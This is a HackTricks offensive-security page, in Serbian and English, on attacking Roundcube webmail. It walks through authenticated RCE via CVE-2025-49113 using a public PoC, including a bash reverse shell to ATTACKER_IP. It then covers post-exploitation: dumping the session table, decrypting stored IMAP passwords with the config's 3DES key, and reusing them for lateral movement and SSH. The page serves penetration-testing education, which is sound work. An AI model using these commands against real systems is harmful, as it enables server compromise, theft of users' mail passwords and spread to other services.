Roundcube

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

Roundcube je PHP webmail klijent koji se često izlaže na HTTP(S) vhostovima (npr., mail.example.tld). Korisni fingerprints:

  • HTML source često leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Podrazumevana putanja aplikacije u containers/VMs: /var/www/html/roundcube
  • Glavna konfiguracija: config/config.inc.php

Autentifikovani RCE via PHP object deserialization (CVE-2025-49113)

Pogođene verzije (prema vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Kratak opis buga

  • Parametar _from u program/actions/settings/upload.php nije validiran, što omogućava injektovanje podataka koje kontroliše napadač, koje Roundcube kasnije unserializes, što dovodi do gadget chain execution i remote code execution u web kontekstu (post‑auth).

Brza eksploatacija

  • Zahtevi: važeći Roundcube kredencijali i dostupna UI URL (npr., http://mail.target.tld)
  • Javni PoC automatizuje session handling, gadget crafting i upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Beleške

  • Izlaz je često blind; koristi sleep N da potvrdiš RCE
  • Dobijeni shell obično radi kao www-data; u kontejnerizovanim deploymentima očekuj /.dockerenv i 172.17.0.0/16 umrežavanje

Post‑exploitation: oporavi IMAP lozinke iz Roundcube sesija

Roundcube čuva IMAP lozinku trenutnog korisnika u session (database) šifrovanu na serverskoj strani 3DES ključem konfigurisanom u config.inc.php. Sa pristupom filesystemu ili DB na Roundcube hostu možeš oporaviti plaintext lozinke i pivotirati u druge mailbokse/servise (SSH reuse je čest).

  1. Pročitaj DB DSN i 3DES ključ iz config

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Povežite se na DB i dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Polje session.vars je Base64 blob koji proizvodi Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Prvih 8 bajtova nakon Base64‑decoding-a su IV.

  1. Pronađite password polje

Brz način da uočite credential unutar dekriptovane strukture je da prvo Base64‑decode‑ujete vars field i vizuelno pregledate serialized entries:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Dešifrujte pomoću Roundcube-ovog pomoćnika

Roundcube dolazi sa CLI-jem koji koristi istu rcmail->decrypt() logiku i konfigurisani des_key:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Ručno 3DES-CBC dešifrovanje (opciono)
  • Format šifrovanog teksta: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, dužina ključa 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Uobičajene lokacije

  • DB table: session (users table mapira login imena na ID-jeve)
  • Putanja konfiguracije: /var/www/html/roundcube/config/config.inc.php

Operativna upotreba

  • Stariji redovi u tabeli session često sadrže IMAP lozinke prethodnih korisnika; decrypt više unosa da biste laterally move u druge poštanske sandučiće
  • Proverite pronađene credentials protiv SSH ili drugih servisa ako se sumnja na credential reuse

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks